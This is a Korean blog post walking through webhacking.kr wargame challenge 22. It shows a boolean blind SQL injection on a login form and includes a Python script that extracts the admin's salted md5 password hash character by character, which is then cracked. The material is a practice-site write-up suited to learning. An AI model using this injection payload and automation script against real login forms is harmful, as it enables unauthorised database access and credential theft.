본문 바로가기

wargame/WEBHACKING.kr

[WEBHACKING.kr]22

22

네모네모하다. 밑에 HINT도 있다.



소스코드도 확인해보았다

<html>
<head>
<title>Challenge 22</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
table { background:black; color:white; font-size:9pt; }
input { background:silver; color:black; font-size:9pt; }
a { color:lightgreen; }
</style>
</head>
<body>

<form method=post action=index.php>
<table border=1 cellpadding=5 cellspacing=0>
<tr><td>username</td><td><input name=uuid type=text></td></tr>
<tr><td>password</td><td><input name=pw type=password></td></tr>
<tr align=center><td><input type=submit value='login'></td><td><input type=button value='join' onclick=location.href='?mode=join' style=width:100;></td></tr>
</form>

<p>
</table><br><br>
<pre>
<a style=background:silver;color:red;width:400;><b>HINT</b></a>
<a style=background:white;color:black;width:400;>
echo("hi! $id");
echo("your password is $pw");

if($id=="admin") echo("good! Password is $solution");
</a>
</pre>

</body>
</html>



join 버튼을 눌러 회원 가입 창을 확인해보았다



소스코드도 확인해보았다

<html>
<head>
<title>Challenge 22</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
table { background:black; color:white; font-size:9pt; }
input { background:silver; color:black; font-size:9pt; }
a { color:lightgreen; }
</style>
</head>
<body>


<form method=post action=index.php?mode=join>
<table border=1>
<tr><td>username</td><td><input name=uuid type=text></td></tr>
<tr><td>password</td><td><input name=pw type=password></td></tr>
<tr><td align=center colspan=2><input type=submit value='join'></td></tr>
</form>



적당히 아무 숫자나 만들어서 회원가입을 한 후 그 값을 입력했다



당연히 문제는 안 풀리지만 어떠한 응답을 얻었다. 밑에 HINT를 보았을 때 "hi! a"가 출력되는 것은 이해가 되나 "your password is b"가 출력되는 대신 user key가 입력되었다.



만약 회원가입하지 않은 id, pw를 넣으면 어떻게 될까 궁금해서 실험해봤다.



Wrong!만 출력된다.



위의 id를 가지고 회원가입을 해보았다
2209




위에 회원가입한 b를 가지고 로그인하면 또 a로 로그인했을 때와 같은 방식으로 출력된다



마지막으로 c로 회원가입하고 로그인해보았다. 똑같은 방식으로 출력된다
2215



admin으로 한 번 회원가입 해보았다. 다른 문구가 출력되었다. 안 되는 걸 확인하였다.




이제 대충 무엇을 해봐야할 지 감이 잡혔다. 우선 user key가 무슨 뜻인지 이해해보기로 하였다. 이전에 배운 것을 고려해보았을 때 md5로 해시되었다고 가정하고 a, b, c의 user key를 복호화해보았다. 입력한 비밀번호+zombie가 나온다. 고민해봤는데 아직 쓰임은 모르겠다.





우리가 자주 사용하는 sql injection을 이용하여 문제를 풀어보기로 하였다. 일단 가장 기본적으로 입력하는 값을 입력하였다



MySQL 문법에 맞지 않는다는 에러가 발생하였다.



맞는 문법으로 교체해서 다시 실행하였다(admin은 True이므로 and 연산자를 사용했다)
2228


오. 다른 결과가 출력하였다. 결과가 참일때와 거짓일 때로 나뉘는 것을 보니 Blind SQL INJECTION 문제인 것 같다.



admin' and ord(substr(pw, )+str(i)+", 1))="+str(j)+"#")
구글링해서 자동화 코드를 찾았다. 다음부터는 이걸 참고해서 쓰면 될 것 같다.

import urllib.request
import http.client
import re
import requests
 
if __name__=="__main__":
     
    pw =""
    md5 = [num for num in range(48,58)]+[num for num in range(97,104)]
 
    for i in range(1,33):
        for j in md5:
            data = {"uuid":"admin' and ord(substr(pw,"+str(i)+",1))="+str(j)+"#"}
            data = urllib.parse.urlencode(data)
            header = {"Content-type":"application/x-www-form-urlencoded","Accept": "text/plain","Cookie":"PHPSESSID=6f7c8ac607180bd7db5f6fe8b7bfd045"}
            connection = http.client.HTTPConnection("webhacking.kr")
            connection.request("POST","/challenge/bonus/bonus-2/index.php",data,header)
            response = connection.getresponse()
            read = response.read()
            read =read.decode('utf-8')
 
            find = re.findall("Wrong password!",read)
            if find:
                print(chr(j),end='')
                break



결과<



정확히 어떻게 되는건지 모르겠지만 아마 password가 zombie가 붙고 md5 해시를 거쳐 데이터베이스에 저장되는 구조인 것 같다. 우리는 데이터베이스에 저장된 값을 찾았으므로 이를 바탕으로 password 값을 추출할 수 있다.



rainbowzombie가 복호화 되었으므로 password는 rainbow임을 추측할 수 있다. 해보자.



성공!




'wargame > WEBHACKING.kr' 카테고리의 다른 글

[WEBHACKING]모든 포스트 목록  (0) 2019.06.02
[WEBHACKING.kr]21  (0) 2019.05.29
[WEBHACKING.kr]27  (0) 2019.05.21
[WEBHACKING.kr]26  (0) 2019.05.21
[WEB]URL 인코딩, 디코딩  (0) 2019.05.21